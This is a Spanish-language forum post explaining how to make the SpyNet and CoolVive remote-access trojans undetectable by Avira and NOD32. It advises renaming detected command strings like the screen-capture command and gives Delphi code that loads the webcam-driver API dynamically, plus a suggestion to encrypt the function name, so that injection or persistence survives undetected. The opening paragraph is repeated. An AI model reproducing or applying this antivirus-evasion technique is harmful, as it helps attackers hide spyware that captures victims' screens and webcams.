como indetectar api en troyanos
Publicado: 09 Jul 2016, 09:34
por empezar esto lo aprendi del mismo foro en esta url
viewtopic.php?f=83&t=10231
en base a la indeteccion total por mi cuenta de spynet y coolvive
de las soluciones antivirus avira y nod32(los unicos que tengo instalados en mi pc )
les podria afirmar que la heuristica ,hips como mierda quieran llamarla
se basa en patrones si se cambian o modifican esos patrones
se va a la bosta la inteligencia del antivirus.
en mi caso voy comentando los fragmentos de codigo y analizando, cuando
me queda indetectado comienza el trabajo de remplazo
si me detecta la cadena de comando 'CAPSCREEN' que es la cadena de captura de pantalla coloco 'CAPSCREN'
si tengo una funcion y es detectada la llamada a las api ejemplo listar las camarasweb (en colvives es detectado por avira)
cambiamos la forma de carga de la api
con este metodo se puede dejar funcional e indetectado una inyeccion o persistencia
si me equivoque corrijan no tengo camara web para probar el codigo
viewtopic.php?f=83&t=10231
en base a la indeteccion total por mi cuenta de spynet y coolvive
de las soluciones antivirus avira y nod32(los unicos que tengo instalados en mi pc )
les podria afirmar que la heuristica ,hips como mierda quieran llamarla
se basa en patrones si se cambian o modifican esos patrones
se va a la bosta la inteligencia del antivirus.
en mi caso voy comentando los fragmentos de codigo y analizando, cuando
me queda indetectado comienza el trabajo de remplazo
si me detecta la cadena de comando 'CAPSCREEN' que es la cadena de captura de pantalla coloco 'CAPSCREN'
si tengo una funcion y es detectada la llamada a las api ejemplo listar las camarasweb (en colvives es detectado por avira)
cambiamos la forma de carga de la api
var
function capGetDriverDescriptionA(wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall; external 'AVICAP32.DLL';
function ListarDispositivos(): String;
var
szName,
szVersion: array[0..MAX_PATH] of char;
iReturn: Boolean;
x: integer;
begin
x := 0;
repeat
iReturn := capGetDriverDescriptionA(x, @szName, sizeof(szName), @szVersion, sizeof(szVersion));
If iReturn then
begin
Result := Result + szName + ' - ' + szVersion + '|';
Inc(x);
end;
until iReturn = False;
end;
modifico asi
var
tcapGetDriverDescriptionA: function (wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall ;
function ListarDispositivos(): String;
var
LibHandle :thandle;
szName,
szVersion: array[0..MAX_PATH] of char;
iReturn: Boolean;
x: integer;
begin
x := 0;
repeat
//*************deteccin avira
LibHandle := LoadLibrary('AVICAP32.dll');
tcapGetDriverDescriptionA := GetProcAddress(LibHandle, pansichar('capGetDriverDescriptionA')); //
//******************************************************************'capGetDriverDescriptionA' se puede encriptar y desencriptar
iReturn := tcapGetDriverDescriptionA(x, @szName, sizeof(szName), @szVersion, sizeof(szVersion));
If iReturn then
begin
Result := Result + szName + ' - ' + szVersion + '|';
Inc(x);
end;
until iReturn = False;
end;
y a la mierda avira con este metodo se puede dejar funcional e indetectado una inyeccion o persistencia
si me equivoque corrijan no tengo camara web para probar el codigo